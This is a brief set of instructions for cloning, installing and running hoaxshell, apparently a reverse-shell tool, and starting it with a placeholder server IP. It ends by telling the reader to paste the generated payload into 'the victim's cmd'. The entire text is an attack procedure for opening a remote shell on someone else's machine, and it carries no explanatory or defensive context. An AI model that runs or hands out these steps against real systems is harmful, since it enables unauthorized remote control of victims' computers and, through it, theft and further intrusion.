git clone https://github.com/t3l3machus/hoaxshell
cd ./hoaxshell
sudo pip3 install -r requirements.txt
chmod +x hoaxshell.py
python3 hoaxshell.py -s SERVER_IP
Now just copy the payload generated by hoaxshell and go to the victim's cmd, now just paste the payload